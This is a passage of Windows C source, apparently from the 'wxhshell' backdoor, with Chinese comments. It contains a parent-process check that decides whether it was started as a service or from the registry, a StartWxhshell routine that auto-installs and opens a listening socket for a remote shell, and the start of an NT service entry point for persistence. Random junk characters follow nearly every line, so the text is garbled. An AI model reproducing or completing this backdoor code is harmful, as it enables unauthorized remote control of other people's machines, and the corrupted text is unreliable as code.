ULONG UniqueProcessId; gemjLuf
ULONG InheritedFromUniqueProcessId; RfPRCIo
} PROCESS_BASIC_INFORMATION; :v/6k
\<ohe w
PROCNTQSIP NtQueryInformationProcess; (`0dO8
dt NHj/\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lLuAZoH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C9oF*{
Pw4j?pv2
HANDLE hProcess; #UN(R
PROCESS_BASIC_INFORMATION pbi; U'iL|JRF
.*H0{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^/+0L[R
if(NULL == hInst ) return 0; 7h?yAgDv~
r.e,!B s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U].u) g$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j[/'`1tOe
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \-c8/=
>m!l5/
if (!NtQueryInformationProcess) return 0;
<,~
=o
iR-MuDM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 13s0uyYU<m
if(!hProcess) return 0; YM9oVF-
A[juzOn\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h3^&,U
G@Dw
CloseHandle(hProcess); K`PmWxNPh
1\d$2N"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \FOX#|i)
if(hProcess==NULL) return 0; W'{q
g%w@v$
HMODULE hMod; #80*3vi~F
char procName[255]; zT}Q rf~
unsigned long cbNeeded; :=#*[H
qlUYu"`i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 Vm
|/
A%u@xL,_
CloseHandle(hProcess); QjfQoT F
Fz+0 h"
if(strstr(procName,"services")) return 1; // 以服务启动 ;K?fAspSH
U5mec167
return 0; // 注册表启动 .rj FhSr$
} :)nn/[>fC
?MhRdY
// 主模块
uh`@ qmu)
int StartWxhshell(LPSTR lpCmdLine) t#|E.G:=
{ G)l[\6Dn
SOCKET wsl; P[{w23`4
BOOL val=TRUE; JH!qGV1
int port=0; _C?<re3*
struct sockaddr_in door; |7Z,z0 ?V
>vg!<%]W]
if(wscfg.ws_autoins) Install(); 9/w'4bd
l;>#O
port=atoi(lpCmdLine); V"VWHAu*.w
3OHP-oa.
if(port<=0) port=wscfg.ws_port; xmtbSRgK9
' U(v
WSADATA data; )61CrQiY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RVfRGc^lK
S[UHx}.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {Ny\9r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &)Z8Qu
door.sin_family = AF_INET; 1Qf21oN{
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k>{i_`*
door.sin_port = htons(port); ( DwIAO/S
q{f%U.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bIizh8d?
closesocket(wsl); >
3JU
return 1; *Kt7"J
} 1G|Q~%cv
XzQ=8r>l
if(listen(wsl,2) == INVALID_SOCKET) { c>K/f7
closesocket(wsl); Xj$J}A@
return 1; |aN0|O2
} >c7/E
Wxhshell(wsl); fRT:@lV
WSACleanup(); bi!4I<E>k
<Q=ES,M
return 0; l3}n.ODA
\{da|n-
} P<kTjG
ZP?k |sEH
// 以NT服务方式启动 tH:ea$A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #s1M>M)
{ ;JFE7\-mC
DWORD status = 0; ?9X#{p>q
DWORD specificError = 0xfffffff; c
i7;v9
%e7{ke}r
serviceStatus.dwServiceType = SERVICE_WIN32; oKt<s+r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; X5wS6v)#(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *cp|lW!ag
serviceStatus.dwWin32ExitCode = 0; #2DH_P
serviceStatus.dwServiceSpecificExitCode = 0; z/fRd6|[
serviceStatus.dwCheckPoint = 0; @.*[CC;&
serviceStatus.dwWaitHint = 0; ~<